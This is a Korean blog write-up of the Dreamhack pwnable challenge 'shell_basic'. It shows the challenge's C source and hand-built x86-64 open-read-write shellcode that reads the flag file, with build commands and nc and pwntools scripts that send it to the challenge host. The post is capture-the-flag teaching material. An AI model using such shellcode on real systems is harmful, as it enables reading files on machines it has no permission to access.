암호(수학) 등.. 공부한 거 잊을거 같아서 만든 블로그

[Dreamhack] shell_basic 본문

Dreamhack/Pwnable

[Dreamhack] shell_basic

h34hg0 2023. 3. 22. 19:54

문제



풀이


문제에서는 shell_basic.c 와 shell_basic 파일을 제공한다.

 

shell_basic.c

// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(10);
}

void banned_execve() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);

  seccomp_load(ctx);
}

void main(int argc, char *argv[]) {
  char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);   
  void (*sc)();
  
  init();
  
  banned_execve();

  printf("shellcode: ");
  read(0, shellcode, 0x1000);

  sc = (void *)shellcode;
  sc();
}

 

여기서 main을 보자

 

void main(int argc, char *argv[]) {
  char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);   
  void (*sc)();
  
  init();
  
  banned_execve();

  printf("shellcode: ");
  read(0, shellcode, 0x1000);

  sc = (void *)shellcode;
  sc();
}

 

mmap 함수로 shellcode에 메모리를 매핑한 후, read함수를 사용하여 shellcode에 입력한 값을 저장한다.

따라서  flag를 출력하는 쉘코드를 넣으면 된다.

 

open


    push 0
    mov rax, 0x676E6F6F6F6F6F6F ; "oooooong"
    push rax
    mov rax, 0x6C5F73695F656D61 ; "ame_is_l"
    push rax
    mov rax, 0x6E5F67616C662F63 ; "c/flag_n"
    push rax
    mov rax, 0x697361625f6c6c65 ; "ell_basi"
    push rax 
    mov rax, 0x68732f656d6f682f ; "/home/sh"
    push rax
    mov rdi, rsp ; filename
    xor rsi, rsi ; mov rsi 0
    xor rdx, rdx ; mov rdx 0
    mov rax, 0x02
    syscall ; open("/home/shell_basic/flag_name_is_loooooong", 0, 0)

 

syscall rax rdi rsi rdx
open 0x02 const char *filename int falgs umode_t mode

 

open 을 사용하기 위해서는 위의 표에 맞게 레지스터에 값을 넣어 줘야한다.

 

flag가 있는 파일의 이름은 문제에서 알려준 /home/shell_basic/flag_name_is_loooooong 이다.

이를 8바이트씩 쪼개어 16진수로 리틀엔디언으로 변환하면 0x68732f656d6f682f(/home/sh), 0x697361625f6c6c65(ell_basi), 0x6E5F67616C662F63(c/flag_n), 0x6C5F73695F656D61(ame_is_l), 0x676e6f6f6f6f6f6f(oooooong) 이다. (리틀 엔디언 이므로 반대 순서로 push 한다)

파일의 이름을 스택에 push하고  rdi가 이 문자열을 가리킬 수 있도록 rsp 의 값을 mov 한다.

 

flas  
O_RDONLY (0) 읽기 전용 모드
O_WRONLY (1) 쓰기 전용 모드
O_RDWR (2) 읽기 쓰기 접근

 

파일을 읽을 용도로 open 하기에 flag는 O_RDONLY 로 설정해준다. 따라서 rsi의 값을 0으로 해주기 위해 xor 해준다.

 

mode는 파일에 대한 접근 권한을 설정해준다. 우리는 단순히 읽기만 할 것이므로 rdx의 값을 0으로 설정해 준다.

인자값을 다 설정했으면 syscall을 해서 open 함수를 호출한다.

 


read


    mov rdi, rax
    mov rsi, rsp
    sub rsi, 0x30
    mov rdx, 0x30
    mov rax, 0x0
    syscall

 

syscall rax rdi rsi rdx
read 0x00 unsigned int fd char *buf size_t count

 

open의 결과 값이 rax에 반환되므로 이를 다시 rdi에 옮겨준다.

그리고 플래그를 읽어올 적당한 크기를 정해서(0x30) 공간을 만들고 rsi 레지스터가 그 공간을 가리키게 한다.

rdx는 공간의 크기값을 준다.

rax 값을 0으로 설정하여 syscall 이 read를 호출 하게 한다.


wirte


    mov rdi, 0x01
    mov rax, 0x01
    syscall

 

syscall rax rdi rsi rdx
wirte 0x01 unsigned int fd const char *buf size_t count

 

표준 출력은 1이므로 rdi에 1을 설정해주고, 이 외의 값들은 read를 호출했을 때의 레지스터 값을 그대로 사용한다.

rax를 1로 설정하여 write를 호출한다.


orw shellcode

;code.asm

section .text
global _start
_start:
    push 0
    mov rax, 0x676E6F6F6F6F6F6F
    push rax
    mov rax, 0x6C5F73695F656D61 
    push rax
    mov rax, 0x6E5F67616C662F63
    push rax
    mov rax, 0x697361625f6c6c65
    push rax 
    mov rax, 0x68732f656d6f682f
    push rax
    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    mov rax, 0x02
    syscall 
    mov rdi, rax
    mov rsi, rsp
    sub rsi, 0x30
    mov rdx, 0x30
    mov rax, 0x0
    syscall
    mov rdi, 0x01
    mov rax, 0x01
    syscall
    xor rdi, rdi
    mov rax, 0x3C   
    syscall

 

아래의 명령어를 사용하여

 

nasm -f elf64 orw_shell.asm # 리눅스 파일 포맷인 elf64로 어셈블하여 orw_shell_o 생성
objcopy --dump-section .text=orw_shell.bin orw_shell.o #orw_shell.bin 생성
nc dreamhack 1234 < orw_shell.bin # orw_shell.bin 파일을 nc 명령어의 입력으로 넣음

 

nc host3.dreamhack.games 14717 < code.bin

플래그를 확인할 수 있다.

 

+ python에서 .bin 파일을 'rb'형식으로 읽고 pwntools 모듈의 sendline 메서드를 이용해서 보내는 것도 가능하다.

from pwn import *

sh = open('./orw.bin', 'rb').read()

p = remote('host3.dreamhack.games', 16629)
p.sendline(sh)

print(p.recvline())

 

'Dreamhack > Pwnable' 카테고리의 다른 글

[Dreamhack] Return_to_Library  (0) 2023.05.04
[Dreamhack] ssp_001  (0) 2023.04.09
[Dreamhack] Return to Shellcode  (0) 2023.04.07
[Dreamhack] basic_exploitation_000  (0) 2023.04.02
[Dreamhack] basic_exploitation_001  (0) 2023.04.02